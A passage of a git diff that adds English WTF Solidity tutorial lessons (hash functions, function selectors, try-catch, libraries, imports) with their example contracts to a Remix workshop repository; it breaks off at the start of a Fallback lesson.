solidity ^0.8.21; + +contract Hash { + bytes32 _msg = keccak256(abi.encodePacked("0xAA")); + + // Unique identifier + function hash( + uint _num, + string memory _string, + address _addr + ) public pure returns (bytes32) { + return keccak256(abi.encodePacked(_num, _string, _addr)); + } + + // Weak collision resistance + function weak(string memory string1) public view returns (bool) { + return keccak256(abi.encodePacked(string1)) == _msg; + } + + // Strong collision resistance + function strong(string memory string1, string memory string2) + public + pure + returns (bool) + { + return + keccak256(abi.encodePacked(string1)) == + keccak256(abi.encodePacked(string2)); + } +} diff --git a/SolidityBasics_Part2_Advanced/step13/img/28-1.png b/SolidityBasics_Part2_Advanced/step13/img/28-1.png new file mode 100644 index 000000000..a9a726af7 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step13/img/28-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step13/img/28-2.png b/SolidityBasics_Part2_Advanced/step13/img/28-2.png new file mode 100644 index 000000000..ffc8d1d19 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step13/img/28-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step13/step1.md b/SolidityBasics_Part2_Advanced/step13/step1.md new file mode 100644 index 000000000..9e98408e0 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step13/step1.md @@ -0,0 +1,103 @@ +--- +title: 28. Hash +tags: + - solidity + - advanced + - wtfacademy + - hash +--- +# WTF Solidity Tutorial: 28. Hash + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +The hash function is a cryptographic concept. It can convert a message of arbitrary length into a fixed-length value. This value is also called the hash. In this lecture, we briefly introduce the hash function and its application in solidity. + +## Properties of Hash + +A good hash function should have the following properties: + +- One-way: The forward operation from the input message to its hash is simple and uniquely determined, while the reverse is very difficult and can only be enumerated by brute force. +- Sensitivity: A little change in the input message greatly changes the hash. +- Efficiency: The operation from the input message to the hash is efficient. +- Uniformity: The probability of each hash value being taken should be equal. +- Collision resistance: + - Weak collision resistance: given a message `x`, it is difficult to find another message `x` such that `hash(x) = hash(x')`. + - Strong collision resistance: finding arbitrary `x` and `x` such that `hash(x) = hash(x')` is difficult. + +## Hash application + +- Unique identifier for generated data +- Cryptographic signature +- Secure encryption + +## Keccak256 + +The `Keccak256` function is the most commonly used hash function in `solidity`, and its usage is very simple: + +```solidity +hash = keccak256(data); +``` + +### Keccak256 and sha3 + +Here's an interesting thing: + +1. sha3 is standardized by keccak. Keccak and SHA3 are synonymous on many occasions. But when SHA3 was finally standardized in August 2015, NIST adjusted the padding algorithm. + So SHA3 is different from the result calculated by keccak. We should pay attention to this point in actual development. +2. sha3 was still being standardized when Ethereum was developing so Ethereum used keccak. In other words, SHA3 in Ethereum and Solidity smart contract code refers to Keccak256, not standard NIST-SHA3. To avoid confusion, it is clear that we write Keccak256 directly in the contract code. + +### Generate a unique identifier of the data + +We can use `keccak256` to generate a unique identifier for data. For example, we have several different types of data: `uint`, `string`, `address`. We can first use the `abi.encodePacked` method to pack and encode them, and then use `keccak256` to generate a unique identifier. + +### Weak collision resistance + +We use `keccak256` to show the weak collision resistance that given a message `x`, it is difficult to find another message `x' such that `hash(x) = hash(x')`. + +We define a message named `0xAA` and try to find another message whose hash value is equal to the message `0xAA`. + +```solidity + // Weak collision resistance + function weak( + string memory string1 + )public view returns (bool){ + return keccak256(abi.encodePacked(string1)) == _msg; + } +``` + +You can try it 10 times and see if you can get lucky. + +### Strong collision resistance + +We use `keccak256` to show the strong collision resistance that finding arbitrarily different `x` and `x'` such that `hash(x) = hash(x')` is difficult. + +We define a function called `strong` that receives two parameters of string type named `string1` and `string2`. Then check if their hashed are the same. + +```solidity + // Strong collision resistance + function strong( + string memory string1, + string memory string2 + )public pure returns (bool){ + return keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2)); + } +``` + +You can try it 10 times and see if you can get lucky. + +## Example from Remix + +- Deploy the contract and view the generated result of the unique identifier. + ![img](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/28_Hash_en/step1/img/28-1.png) +- Verify the sensitivity of the hash function, as well as strong and weak collision resistance + ![img](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/28_Hash_en/step1/img/28-2.png) + +## Summary + +In this section, we introduced what a hash function is and how to use `keccak256`, the most commonly used hash function in `solidity`. diff --git a/SolidityBasics_Part2_Advanced/step14/Selector.sol b/SolidityBasics_Part2_Advanced/step14/Selector.sol new file mode 100644 index 000000000..9be0c5e3f --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step14/Selector.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Selector { + // event returns msg.data + event Log(bytes data); + + // input parameter to: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 + function mint( + address /*to*/ + ) external { + emit Log(msg.data); + } + + // output selector + // "mint(address)": 0x6a627842 + function mintSelector() external pure returns (bytes4 mSelector) { + return bytes4(keccak256("mint(address)")); + } + + // use selector to call function + function callWithSignature() external returns (bool, bytes memory) { + // use `abi.encodeWithSelector` to pack and encode the `mint` function's `selector` and parameters + (bool success, bytes memory data) = address(this).call( + abi.encodeWithSelector( + 0x6a627842, + "0x2c44b726ADF1963cA47Af88B284C06f30380fC78" + ) + ); + return (success, data); + } +} diff --git a/SolidityBasics_Part2_Advanced/step14/img/29-1.png b/SolidityBasics_Part2_Advanced/step14/img/29-1.png new file mode 100644 index 000000000..c9e552eb8 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step14/img/29-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step14/img/29-2.png b/SolidityBasics_Part2_Advanced/step14/img/29-2.png new file mode 100644 index 000000000..3202f7372 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step14/img/29-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step14/img/29-3.png b/SolidityBasics_Part2_Advanced/step14/img/29-3.png new file mode 100644 index 000000000..014832282 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step14/img/29-3.png differ diff --git a/SolidityBasics_Part2_Advanced/step14/step1.md b/SolidityBasics_Part2_Advanced/step14/step1.md new file mode 100644 index 000000000..796c9bbcc --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step14/step1.md @@ -0,0 +1,96 @@ +--- +title: 29. Function Selector +tags: + - solidity + - advanced + - wtfacademy + - selector +--- +# WTF Solidity Tutorial: 29. Function Selector + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) +--- + +## `selector` + +When we call a smart contract, we essentially send a `calldata` to the target contract. After sending a transaction in the remix, we can see in the details that `input` is the `calldata` of this transaction. + +![tx input in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/29_Selector_en/step1/img/29-1.png) + +The first 4 bytes of calldata is called a function selector. In this section, we will introduce what `selector` is and how to use it. + +### `msg.data` + +`msg.data` is a global variable in `solidity`. The value of `msg.data` is the full `calldata` (the data passed in when the function is called). + +In the following code, we can output the `calldata` that calls the `mint` function through the `Log` event: + +```solidity + // event returns msg.data + event Log(bytes data); + + function mint(address to) external{ + emit Log(msg.data); + } +``` + +When the parameter is `0x2c44b726ADF1963cA47Af88B284C06f30380fC78`, the output `calldata` is + +``` +0x6a6278420000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78 +``` + +This messy bytecode can be divided into two parts: + +``` +The first 4 bytes are the selector: +0x6a627842 + +The next 32 bytes are the input parameters: +0x0000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78 +``` + +Actually, this `calldata` is to tell the smart contract which function I want to call and what the parameters are. + +### `method id`、`selector` and `Function Signatures` + +The `method id` is defined as the first 4 bytes after the `Keccak` hash of the `function signature`. The function is called when the `selector` matches the `method id`. + +Then what is the `function signature`? In section 21, we introduced function signature. The function signature is `"function_name(comma-separated parameter types)"`. For example, the function signature of `mint` in the code above is `"mint(address)"`. In the same smart contract, different functions have different function signatures, so we can determine which function to call by the function signature. + +Please note that `uint` and `int` are written as `uint256` and `int256` in the function signature. + +Let's define a function to verify that the `method id` of the `mint` function is `0x6a627842`. You can call the function below and see the result. + +```solidity + function mintSelector() external pure returns(bytes4 mSelector){ + return bytes4(keccak256("mint(address)")); + } +``` + +The result is `0x6a627842`: + +![method id in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/29_Selector_en/step1/img/29-2.png) + +### how to use `selector` + +We can use `selector` to call the target function. For example, if I want to call the `mint` function, I just need to use `abi.encodeWithSelector` to pack and encode the `mint` function's `method id` as the `selector` and parameters, and pass it to the `call` function: + +````solidity + function callWithSignature() external returns(bool, bytes memory){ + (bool success, bytes memory data) = address(this).call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78")); + return(success, data); + } +```` + +We can see in the log that the `mint` function was successfully called and the `Log` event was output. + +![logs in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/29_Selector_en/step1/img/29-3.png) + +## Summary + +In this section, we introduce the `selector` and its relationship with `msg.data`, `function signature`, and how to use it to call the target function. diff --git a/SolidityBasics_Part2_Advanced/step15/TryCatch.sol b/SolidityBasics_Part2_Advanced/step15/TryCatch.sol new file mode 100644 index 000000000..a508789b5 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step15/TryCatch.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract OnlyEven{ + constructor(uint a){ + require(a != 0, "invalid number"); + assert(a != 1); + } + + function onlyEven(uint256 b) external pure returns(bool success){ + // revert when an odd number is entered + require(b % 2 == 0, "Ups! Reverting"); + success = true; + } +} + +contract TryCatch { + // success event + event SuccessEvent(); + // failure event + event CatchEvent(string message); + event CatchByte(bytes data); + + // declare OnlyEven contract variable + OnlyEven even; + + constructor() { + even = new OnlyEven(2); + } + + // use try-catch in external call + // execute(0) will succeed and emit `SuccessEvent` + // execute(1) will fail and emit `CatchEvent` + function execute(uint amount) external returns (bool success) { + try even.onlyEven(amount) returns(bool _success){ + // if call succeeds + emit SuccessEvent(); + return _success; + } catch Error(string memory reason){ + // if call fails + emit CatchEvent(reason); + } + } + + // use try-catch when creating new contract(Contract creation is considered an external call) + // executeNew(0) will fail and emit `CatchEvent` + // executeNew(1) will fail and emit `CatchByte` + // executeNew(2) will succeed and emit `SuccessEvent` + function executeNew(uint a) external returns (bool success) { + try new OnlyEven(a) returns(OnlyEven _even){ + // if call succeeds + emit SuccessEvent(); + success = _even.onlyEven(a); + } catch Error(string memory reason) { + // catch revert("reasonString") and require(false, "reasonString") + emit CatchEvent(reason); + } catch (bytes memory reason) { + // catch assert() of failure, the error type of assert is Panic(uint256) instead of Error(string), so it will go into this branch + emit CatchByte(reason); + } + } +} diff --git a/SolidityBasics_Part2_Advanced/step15/img/30-1_en.jpg b/SolidityBasics_Part2_Advanced/step15/img/30-1_en.jpg new file mode 100644 index 000000000..78e9a39c6 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step15/img/30-1_en.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step15/img/30-2_en.jpg b/SolidityBasics_Part2_Advanced/step15/img/30-2_en.jpg new file mode 100644 index 000000000..906115176 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step15/img/30-2_en.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step15/img/30-3_en.jpg b/SolidityBasics_Part2_Advanced/step15/img/30-3_en.jpg new file mode 100644 index 000000000..1fbc4cc20 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step15/img/30-3_en.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step15/img/30-4_en.jpg b/SolidityBasics_Part2_Advanced/step15/img/30-4_en.jpg new file mode 100644 index 000000000..892db52d6 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step15/img/30-4_en.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step15/img/30-5_en.jpg b/SolidityBasics_Part2_Advanced/step15/img/30-5_en.jpg new file mode 100644 index 000000000..56ab82946 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step15/img/30-5_en.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step15/step1.md b/SolidityBasics_Part2_Advanced/step15/step1.md new file mode 100644 index 000000000..559ebb6d2 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step15/step1.md @@ -0,0 +1,167 @@ +--- +title: 30. Try Catch +tags: + - solidity + - advanced + - wtfacademy + - try catch +--- + +# Solidity Minimalist Tutorial: 30. Try Catch + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +`try-catch` is a standard way of handling exceptions that is almost ubiquitous in modern programming languages. Besides, it's added to `solidity`0.6. + +In this chapter, we will introduce how to use `try-catch` to handle exceptions in smart contracts. + +## `try-catch` +In `solidity`, `try-catch` can only be used for `external` function or call `constructor` (considered `external` function) when creating contracts. The basic syntax is as follows: +```solidity + try externalContract.f() { + // if call succeeds, run some codes + } catch { + // if call fails, run some codes + } +``` +`externalContract.f()` is a function call of an external contract, `try` module runs if the call succeeds, while `catch` module runs if the call fails. + +You can also use `this.f()` instead of `externalContract.f()`. `this.f()` is also considered as an external call, but can't be used in the constructor because the contract has not been created at that time. + +If the called function has a return value, then `returns(returnType val)` must be declared after `try`, and the returned variable can be used in `try` module. In the case of contract creation, the returned value is a newly created contract variable. +```solidity + try externalContract.f() returns(returnType val){ + // if call succeeds, run some codes + } catch { + // if call fails, run some codes + } +``` + +Besides, `catch` module supports catching special exception causes: + +```solidity + try externalContract.f() returns(returnType){ + // if call succeeds, run some codes + } catch Error(string memory /*reason*/) { + // catch revert("reasonString") and require(false, "reasonString") + } catch Panic(uint /*errorCode*/) { + // Catch errors caused by Panic, such as assert failures, overflows, division by zero, array access out of bounds + } catch (bytes memory /*lowLevelData*/) { + // If a revert occurs and the above two exception types fail to match, it will go into this branch + // such as revert(), require(false), revert a custom type error + } +``` + +## `try-catch` actual combat +### `OnlyEven` +We create an external contract `OnlyEven` and use `try-catch` to handle exceptions: + +```solidity +contract OnlyEven{ + constructor(uint a){ + require(a != 0, "invalid number"); + assert(a != 1); + } + + function onlyEven(uint256 b) external pure returns(bool success){ + // revert when an odd number is entered + require(b % 2 == 0, "Ups! Reverting"); + success = true; + } +} +``` +`OnlyEven` contract contains a constructor and an `onlyEven` function. + +- constructor has one argument `a`, when `a=0`, `require` will throw an exception; When `a=1`, `assert` will throw an exception. All other conditions are normal. +- `onlyEven` function has one argument `b`, when `b` is odd, `require` will throw an exception. + +### Handle external function call exceptions +First, define some events and state variables in `TryCatch` contract: +```solidity + // success event + event SuccessEvent(); + + // failure event + event CatchEvent(string message); + event CatchByte(bytes data); + + // declare OnlyEven contract variable + OnlyEven even; + + constructor() { + even = new OnlyEven(2); + } +``` +`SuccessEvent` is the event that will be released when the call succeeds, while `CatchEvent` and `CatchByte` are the events that will be released when an exception is thrown, corresponding to `require/revert` and `assert` exceptions respectively. `even` is a state variable of `OnlyEven` contract type. + +Then we use `try-catch` in `execute` function to handle exceptions in the call to the external function `onlyEven`: + +```solidity + // use try-catch in external call + function execute(uint amount) external returns (bool success) { + try even.onlyEven(amount) returns(bool _success){ + // if call succeeds + emit SuccessEvent(); + return _success; + } catch Error(string memory reason){ + // if call fails + emit CatchEvent(reason); + } + } +``` +### verify on remix + +When running `execute(0)`, because `0` is even, satisfy `require(b % 2 == 0, "Ups! Reverting");`, so no exception is thrown. The call succeeds and `SuccessEvent` is released. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/30_TryCatch_en/step1/img/30-1_en.jpg) + +When running `execute(1)`, because `1` is odd, doesn't satisfy `require(b % 2 == 0, "Ups! Reverting");`, so the exception is thrown. The call fails and `CatchEvent` is released. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/30_TryCatch_en/step1/img/30-2_en.jpg) + +### Handle contract creation exceptions + +Here we use `try-catch` to handle exceptions when a contract is created. Just need to rewrite `try` module to the creation of `OnlyEven` contract + +```solidity + // use try-catch when creating new contract(Contract creation is considered an external call) + // executeNew(0) will fail and emit `CatchEvent` + // executeNew(1) will fail and emit `CatchByte` + // executeNew(2) will succeed and emit `SuccessEvent` + function executeNew(uint a) external returns (bool success) { + try new OnlyEven(a) returns(OnlyEven _even){ + // if call succeeds + emit SuccessEvent(); + success = _even.onlyEven(a); + } catch Error(string memory reason) { + // catch revert("reasonString") and require(false, "reasonString") + emit CatchEvent(reason); + } catch (bytes memory reason) { + // catch assert() of failure, the error type of assert is Panic(uint256) instead of Error(string), so it will go into this branch + emit CatchByte(reason); + } + } +``` + +### verify on remix + +When running `executeNew(0)`, because `0` doesn't satisfy `require(a != 0, "invalid number");`, the call will fail and `CatchEvent` is released. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/30_TryCatch_en/step1/img/30-3_en.jpg) + +When running `executeNew(1)`, because `1` doesn't satisfy `assert(a != 1);`, the call will fail and `CatchByte` is released. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/30_TryCatch_en/step1/img/30-4_en.jpg) + +When running `executeNew(2)`, because `2` satisfies `require(a != 0, "invalid number");` and `assert(a != 1);`, the call succeeds and `SuccessEvent` is released. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/30_TryCatch_en/step1/img/30-5_en.jpg) + +## Summary +In this chapter, we introduced how to use `try-catch` in `solidity` to handle exceptions in the operation of smart contracts. diff --git a/SolidityBasics_Part2_Advanced/step2/Library.sol b/SolidityBasics_Part2_Advanced/step2/Library.sol new file mode 100644 index 000000000..957d22c00 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step2/Library.sol @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) public pure returns (string memory) { + // Inspired by OraclizeAPI's implementation - MIT licence + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. + */ + function toHexString(uint256 value) public pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. + */ + function toHexString(uint256 value, uint256 length) public pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } +} + + +// Call another library contract with a function +contract UseLibrary{ + // Using the library with the "using for" + using Strings for uint256; + function getString1(uint256 _number) public pure returns(string memory){ + // Library functions are automatically added as members of uint256 variables + return _number.toHexString(); + } + + // Called directly by the library contract name + function getString2(uint256 _number) public pure returns(string memory){ + return Strings.toHexString(_number); + } +} diff --git a/SolidityBasics_Part2_Advanced/step2/step1.md b/SolidityBasics_Part2_Advanced/step2/step1.md new file mode 100644 index 000000000..c29f7720f --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step2/step1.md @@ -0,0 +1,149 @@ +--- +title: 17. Library +tags: + - solidity + - advanced + - wtfacademy + - library + - using for +--- + +# WTF Solidity Tutorial: 17. Library: Standing on the shoulders of giants + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this section, we use the library contract `String` referenced by `ERC721` as an example to introduce the library contract in `solidity`, +and then summarize the commonly used library functions. + +## Library Functions + +A library function is a special contract that exists to improve the reusability of `solidity` and reduce `gas` consumption. +Library contracts are generally a collection of useful functions (`library functions`), +which are created by the masters or the project party. +We only need to stand on the shoulders of giants and use those functions. + +![Library contracts:Standing on the shoulders of giants](https://images.mirror-media.xyz/publication-images/HJC0UjkALdrL8a2BmAE2J.jpeg?height=300&width=388) + +It differs from ordinary contracts in the following points: + +1. State variables are not allowed +2. Cannot inherit or be inherited +3. Cannot receive ether +4. Cannot be destroyed + +## String Library Contract + +`String Library Contract` is a code library that converts a `uint256` to the corresponding `string` type. The sample code is as follows: + +```solidity +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) public pure returns (string memory) { + // Inspired by OraclizeAPI's implementation - MIT licence + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. + */ + function toHexString(uint256 value) public pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. + */ + function toHexString(uint256 value, uint256 length) public pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } +} +``` + +It mainly contains two functions, `toString()` converts `uint256` to `string`, +`toHexString()` converts `uint256` to `hexadecimal`, and then converts it to `string`. + +### How to use library contracts +We use the toHexString() function in the String library function to demonstrate two ways of using the functions in the library contract. + +**1. `using for` command** + +Command `using A for B` can be used to attach library functions (from library A) to any type (B). After the instruction, +the function in the library `A` will be automatically added as a member of the `B` type variable, +which can be called directly. Note: When calling, this variable will be passed to the function as the first parameter: + +```solidity + // Using the library with the "using for" + using Strings for uint256; + function getString1(uint256 _number) public pure returns(string memory){ + // Library functions are automatically added as members of uint256 variables + return _number.toHexString(); + } +``` +**2. Called directly by the library contract name** +```solidity + // Called directly by the library contract name + function getString2(uint256 _number) public pure returns(string memory){ + return Strings.toHexString(_number); + } +``` +We deploy the contract and enter `170` to test, +both methods can return the correct `hexadecimal string` "0xaa", +proving that we call the library function successfully! + +![Call library function successfully](https://images.mirror-media.xyz/publication-images/bzB_JDC9f5VWHRjsjQyQa.png?height=750&width=580) + +## Summary + +In this lecture, we use the referenced library function `String` of `ERC721` as an example to introduce the library function (`Library`) in `solidity`. +99% of developers do not need to write library contracts themselves, they can use the ones written by masters. +The only thing we need to know is which library contract to use and where the library is most suitable. + +Some commonly used libraries are: +1. [String](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Strings.sol):Convert `uint256` to `String` +2. [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Address.sol):Determine whether an address is a contract address +3. [Create2](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Create2.sol):Safer use of `Create2 EVM opcode` +4. [Arrays](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Arrays.sol):Library functions related to arrays diff --git a/SolidityBasics_Part2_Advanced/step3/Yeye.sol b/SolidityBasics_Part2_Advanced/step3/Yeye.sol new file mode 100644 index 000000000..537305813 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step3/Yeye.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Contract "Yeye" in Lecture 10--Contract Inheritance +contract Yeye { + event Log(string msg); + + // Define 3 functions: hip(), pop(), yeye(), with log "Yeye"。 + function hip() public virtual{ + emit Log("Yeye"); + } + + function pop() public virtual{ + emit Log("Yeye"); + } + + function yeye() public virtual { + emit Log("Yeye"); + } +} diff --git a/SolidityBasics_Part2_Advanced/step3/img/18-1.png b/SolidityBasics_Part2_Advanced/step3/img/18-1.png new file mode 100644 index 000000000..811f36f23 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step3/img/18-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step3/import.sol b/SolidityBasics_Part2_Advanced/step3/import.sol new file mode 100644 index 000000000..8d521930f --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step3/import.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Import via relative location of file +import './Yeye.sol'; +// Import specific contracts via `global symbols` +import {Yeye} from './Yeye.sol'; +// Import by URL +import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; +// Import "OpenZeppelin" contract +import '@openzeppelin/contracts/access/Ownable.sol'; + +contract Import { + // Successfully import the Address library + using Address for address; + // declare variable "yeye" + Yeye yeye = new Yeye(); + + // Test whether the function of "yeye" can be called + function test() external{ + yeye.hip(); + } +} diff --git a/SolidityBasics_Part2_Advanced/step3/step1.md b/SolidityBasics_Part2_Advanced/step3/step1.md new file mode 100644 index 000000000..9167f06ae --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step3/step1.md @@ -0,0 +1,78 @@ +--- +title: 18. Import +tags: + - solidity + - advanced + - wtfacademy + - import +--- + +# WTF Solidity Tutorial: 18. Import + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +`solidity` supports the use of the `import` keyword to import global symbols in other contracts +(simply understood as external source code), making development more modular. Generally, +if not specified, all global symbols of the imported file will be imported into the current global scope. + +## Usage of `import` + +- Import by relative location of source file. For example: + +``` +Hierarchy +├── Import.sol +└── Yeye.sol + +// Import by relative location of source file +import './Yeye.sol'; +``` + +- Import the global symbols of contracts on the Internet through the source file URL. For example: +``` +// Import by URL +import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; +``` + +- Import via the `npm` directory. For example: +```solidity +import '@openzeppelin/contracts/access/Ownable.sol'; +``` + +- Import contract-specific global symbols by specifying `global symbols`. For example:: +```solidity +import {Yeye} from './Yeye.sol'; +``` + +- The location of the reference (`import`) in the code: after declaring the version, and before the rest of the code. + +## Test `import` + +We can use the following code to test whether the external source code was successfully imported: + +```solidity +contract Import { + // Successfully import the Address library + using Address for address; + // declare variable "yeye" + Yeye yeye = new Yeye(); + + // Test whether the function of "yeye" can be called + function test() external{ + yeye.hip(); + } +} +``` + +![result](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/18_Import_en/step1/img/18-1.png) + +## Summary +In this lecture, we introduced the method of importing external source code using the `import` keyword. Through the `import`, +you can refer to contracts or functions in other files written by us, +or directly import code written by others, which is very convenient. diff --git a/SolidityBasics_Part2_Advanced/step4/Fallback.sol b/SolidityBasics_Part2_Advanced/step4/Fallback.sol new file mode 100644 index 000000000..d50dce5e4 --- /dev/null 